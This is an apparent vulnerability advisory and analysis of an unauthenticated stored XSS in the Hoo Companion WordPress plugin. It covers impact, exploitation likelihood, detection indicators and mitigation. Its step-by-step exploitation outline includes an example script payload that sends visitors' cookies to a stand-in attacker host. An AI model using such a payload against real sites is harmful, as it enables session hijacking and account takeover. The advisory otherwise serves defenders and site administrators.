CVE-2026-85129: 
WordPress Analisi e mitigazione delle vulnerabilità

CVE-2026-85129 is an unauthenticated Stored Cross-Site Scripting (XSS) vulnerability in the Hoo Companion WordPress plugin version 1.0.2. The flaw exists in the plugin's theme settings import feature, which lacks authorization, input validation, and sanitization, allowing any unauthenticated attacker to inject persistent malicious scripts that execute for all site visitors, including administrators. It was publicly disclosed on September 10, 2026, and published to the NVD and GitHub Advisory Database on September 13, 2026. The vulnerability carries a CVSS v3.1 base score of 8.8 (High) (WPScan, GitHub Advisory).

The root cause is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation — Cross-Site Scripting). The plugin's import feature accepts arbitrary data over the network without performing any authorization checks (no authentication required), input validation, or output sanitization before storing the submitted content as the active WordPress theme's settings. This results in a stored XSS condition where injected scripts are persistently saved and rendered to every visitor of the affected site. Additionally, the same malicious import request overwrites and destroys the site's existing theme settings, causing a secondary availability impact (WPScan, GitHub Advisory).

Successful exploitation allows an unauthenticated remote attacker to inject arbitrary JavaScript that executes persistently in the browsers of all site visitors, including administrators. This can lead to session hijacking, credential theft, unauthorized administrative actions (e.g., account takeover via admin cookie theft), and further site compromise. Additionally, the exploit request irreversibly destroys the site's existing theme settings, causing a significant availability and integrity impact to the WordPress site's appearance and configuration (WPScan, GitHub Advisory).

There is currently no public proof-of-concept exploit code available; WPScan has indicated a PoC will be disclosed on October 1, 2026, to allow time for users to update. No in-the-wild exploitation has been observed, and no threat actor attribution has been reported. The EPSS score is approximately 0.263% (18th percentile), indicating a low near-term exploitation probability. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog (WPScan, GitHub Advisory).

1. Reconnaissance: Identify WordPress sites running the Hoo Companion plugin version 1.0.2 using tools such as WPScan, Shodan, or by inspecting publicly accessible WordPress plugin directories (e.g., /wp-content/plugins/hoo-companion/).
2. Locate the vulnerable import endpoint: Identify the plugin's theme settings import feature endpoint (e.g., an admin-ajax.php action or a dedicated REST API route exposed by the plugin) that accepts import data without authentication.
3. Craft malicious payload: Prepare a theme settings import payload containing an arbitrary JavaScript XSS payload (e.g., <script>document.location='https://attacker.com/steal?c='+document.cookie</script>) embedded within the expected data structure.
4. Submit unauthenticated request: Send an HTTP POST request to the vulnerable import endpoint with the crafted payload — no authentication or CSRF token is required due to the missing authorization checks.
5. Payload persistence: The malicious script is stored as the active theme's settings in the WordPress database, overwriting legitimate settings.
6. Execution and impact: Any user (including administrators) who visits the site will have the injected script execute in their browser, enabling session hijacking, credential theft, or further administrative compromise (WPScan).

• Network: Unexpected unauthenticated POST requests to WordPress endpoints associated with the Hoo Companion plugin's import functionality (e.g., admin-ajax.php with plugin-specific action parameters) from unknown or external IP addresses.
• Logs: WordPress or web server access logs showing POST requests to the plugin's import endpoint without a valid session cookie or nonce; repeated requests from the same IP in a short timeframe.
• Database: Unexpected or malformed entries in the WordPress wp_options table under theme settings keys associated with the Hoo Companion plugin, particularly values containing <script> tags or encoded JavaScript.
• File System: No direct file-system artifacts expected, as the payload is stored in the database rather than the file system.
• Browser/User Reports: Site visitors or administrators reporting unexpected JavaScript execution, redirects, or pop-ups when browsing the affected WordPress site.

The WPScan advisory notes there is currently no known fixed version of the Hoo Companion plugin (version 1.0.2 is the only known release). Site administrators should immediately disable or remove the Hoo Companion plugin until a patched version is available. As interim mitigations, restrict access to the plugin's import endpoint using a Web Application Firewall (WAF) rule, or implement server-level access controls (e.g., IP allowlisting) to block unauthenticated requests to the vulnerable functionality. Monitor the WordPress plugin repository for an updated release (WPScan, GitHub Advisory).

The vulnerability was discovered and reported by researchers Enrico Marcolini, Claudio Marchesini, and Dottor Marc (affiliated with dottormarc.it), and was verified by WPScan (WPScan). Brief mentions appeared on Mastodon via The Hacker Wire and in a Reddit CVE daily brief on r/pwnhub, but no significant broader media coverage or notable researcher commentary beyond the initial disclosure has been identified.